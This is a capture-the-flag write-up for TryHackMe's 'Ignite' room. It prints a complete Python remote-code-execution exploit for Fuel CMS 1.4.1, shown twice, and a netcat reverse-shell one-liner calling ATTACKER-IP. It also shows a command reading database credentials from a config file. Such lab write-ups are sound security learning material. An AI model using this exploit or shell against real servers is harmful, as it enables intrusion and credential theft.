Ignite — THM Writeup

Platform: TryHackMe

Author: ZODiAK

Difficulty: Easy

Day: 9

hiiii , this is a easy challenge , after running machinge i does some recon

1- Recon

open website and some read in and i found this

i can't understand how this thing is public but let's login

now after login i will search in this website to show if i can upload any malicious file or anything else ,

after some tires i can't make this but i found a service and version in home page , iwill seach on it

2- Exploitation

i found a critical bug it's RCE [ remote code execution ] , this directory and file parameter is vulnerable , i can exploit it and do anything on server , so lets try this , i use curl to send GET Request

now i have a RCE but i can't use it like this so i need a shell on my device to can control , after some search again i found a python script that give me a shell , to run script type

python3 exploit.py -u http://target.com

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
 parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

 parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

 parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

 args = parser.parse_args()

 if len(sys.argv) <=2:
  parser.print_usage()
  sys.exit()

 return args

args = get_arguments()
url = args.url

if "http" not in url:
 sys.stderr.write("Enter vaild url")
 sys.exit()

try:
   r = requests.get(url)
   if r.status_code == 200:
       print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)

except requests.ConnectionError:
    print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
    sys.exit()

while True:
 cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

 main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

 r = requests.get(main_url)

 #<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

 output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
 print(output[0])
 if cmd == "exit":
  break

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
 parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url>',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

 parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

 parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

 args = parser.parse_args()

 if len(sys.argv) <=2:
  parser.print_usage()
  sys.exit()

 return args

args = get_arguments()
url = args.url

if "http" not in url:
 sys.stderr.write("Enter vaild url")
 sys.exit()

try:
   r = requests.get(url)
   if r.status_code == 200:
       print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)

except requests.ConnectionError:
    print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
    sys.exit()

while True:
 cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

 main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

 r = requests.get(main_url)

 #<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">

 output = r.text.split('<div style="border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;">')
 print(output[0])
 if cmd == "exit":
  break

after got shell make this

open listener on another tab

back to shell tab and run this command

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER-IP 9001 > /tmp/f

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER-IP 9001 > /tmp/f

why i do this step , to got reverse shell to can control on server not just website

and type

python -c "import pty;pty.spawn('/bin/bash')"

python -c "import pty;pty.spawn('/bin/bash')"

user.txt

3- Privilege Escalation

now i need to get root , but i think i show thing about database in website ..

the password is stored in the database.php file , i found it in this direction

cat /var/www/html/fuel/application/config/database.php

cat /var/www/html/fuel/application/config/database.php

after open the file i found username and password there

now lets join to root user

root.txt

Thanks For Reading ❤️

Contents

1- Recon

2- Exploitation

user.txt

3- Privilege Escalation

root.txt